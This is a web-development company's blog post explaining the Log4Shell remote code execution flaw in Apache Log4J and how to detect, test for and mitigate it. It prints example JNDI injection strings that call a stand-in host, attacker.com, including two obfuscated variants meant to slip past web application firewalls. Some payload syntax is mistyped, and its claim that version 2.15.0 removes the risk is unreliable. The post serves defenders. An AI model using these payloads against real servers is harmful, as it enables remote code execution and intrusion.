HOW TO PREVENT, DETECT AND FIX LOG4J

What is Log4J

The Apache Log4J library is a logging library for Java widely used for many Java-based projects. On the 9^th of December, a security researcher from the Alibaba Cloud security team disclosed a dangerous Remote Code Execution (RCE) vulnerability in this library. In this vulnerability disclosure, many attacks have been spotted in the wild. The good news is that the Apache Software Foundation has already fixed and rolled out the vulnerability.

XpertLab – Web development Company in Junagadh

XpertLab – Web development Company in Junagadh

Log4j Vulnerability Explained

In the release of Log4J 2.0, a new feature was introduced, which is called lookups. Lookups can be used to include additional data in the log entries. One of these lookups is the JNDI (Java Naming and Directory Interface) lookup, a Java API to communicate with a directory service. 

It can be used to resolve internal user identifiers to real user names. This lookup is the door opener for the newly discovered RCE vulnerability because one data type that can be returned from the LDAP server is a URI pointing to a Java class which is then loaded into memory and executed by the Log4J instance. Due to improper input validation in the Log4J library, injecting an arbitrary LDAP server from an untrusted source is possible. Since developers generally assume that the data written into the logs is handled as a normal text, no further input validation is being done, and untrusted user input makes its way into the logs. In a real-life example, a log statement might look like the following:

log.info(“Calling endpoint {}”, endpointURL)

A malicious user would now include a JNDI lookup, pointing to a malicious LDAP server in a URL parameter. The JNDI lookup would look like the following:

XpertLab – Web development Company in Junagadh

$(jndi:ldap://attacker.com:123/examplePath)

The Log4J library then communicates with this LDAP server at attacker.com and receives the directory information, including values for the javaFactory and the javaCodeBase. These two values include the Java class from the attacker, which is then loaded into memory and executed by the Log4J instance, which completes the code execution. Other reports have shown that JNDI makes it even possible to execute DNS queries by replacing the LDAP with DNS ($(jndi:dns://attacker.com/dnsRecord)). However, it is not clear if the DNS queries provide a way to successfully deploy a remote code execution at the time of writing.

How to Check for Apache Log4J Vulnerability?

The first step should be to investigate if an attack has already happened. This can be done by searching the system logs for parts of the RCE payload. If a search for keywords such as “jndi”, “ldap”, “${::” returns any logs, it should be investigated further if it was an actual attack or just a fingerprinting by security researchers. Many attacks were observed in the wild which did not deliver any malicious payload. Still, they were done by security researchers to get an idea of how many applications are vulnerable to this attack.

The next step is to identify all projects using the Log4J library. The project might be vulnerable if versions between 2.0-beta9 and 2.14.1 are used. Since it is tough to figure out where this vulnerability is present, it might be safer to assume the project is vulnerable, and patching the library is the best action to remove the risk from code execution.

If the used version is below 2.0-beta9, the project will not be vulnerable, but the Log4J library should still be updated because versions in the 1.x range are outdated and do not receive updates anymore.

In case a vulnerable project is found, it is recommended to check if any information logged with Log4J includes information that the user can manipulate. This information includes URLs, any request parameters, headers, or cookies. If one of these is being logged, the project is vulnerable. This knowledge might help to dig deeper into the system logs and analyze if your web application was already targeted.

There are free tools available on the internet that can test if the web application is vulnerable. One of these tools is https://log4shell.huntress.com/ which is open source and can be found on GitHub https://github.com/huntresslabs/log4shell-tester. If a vulnerable part of code was identified in the web application, one can use the payload provided by the mentioned tool and inject it into the web application. If the vulnerability was triggered, the testing tool would show the connections from your web application to their LDAP server.

XpertLab – Web development Company in Junagadh

Best Practices to Fix Log4J CVE-2021-44228

Since the Apache Software Foundation already patched the vulnerability, it is the best solution to upgrade Log4J to the latest and patched version 2.15.0. This will remove the risk from code execution. All 2.x versions below 2.15.0 are vulnerable.

However, if it is not possible to update to the latest version, there are a few options to disable the lookups in Log4J to mitigate code execution risk.

XpertLab – Web development Company in Junagadh

One option is to evaluate if the Log4J library in use supports executing the JVM with the option JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true. This disables the lookup functionality to remote servers. This fix should be possible for versions starting at 2.10.0.

Another option for versions 2.10.0 and above can be to set either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

Older releases from 2.0-beta9 to 2.10.0 can be mitigated by removing the JndiLookup class from the classpass. The command to do this is:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

You can find further information in the official advisory from Apache here https://logging.apache.org/log4j/2.x/security.html

Logo Designing Company in Junagadh

Some Web Application Firewall (WAF) providers have already announced that they protect against this vulnerability. We recommend not solely relying on your WAF because there are so many ways to reformat the payload that WAFs might not catch all of them. Some examples are the following variants of this payload:

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker.com:123/examplePath}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com:123/examplePath}

If you decide not to upgrade the Log4J library but mitigate the risk using one of the other options, it is imperative to test the effectiveness of the mitigation actions. This can be done with the open-source testing tool described above.

Logo Designing Company in Junagadh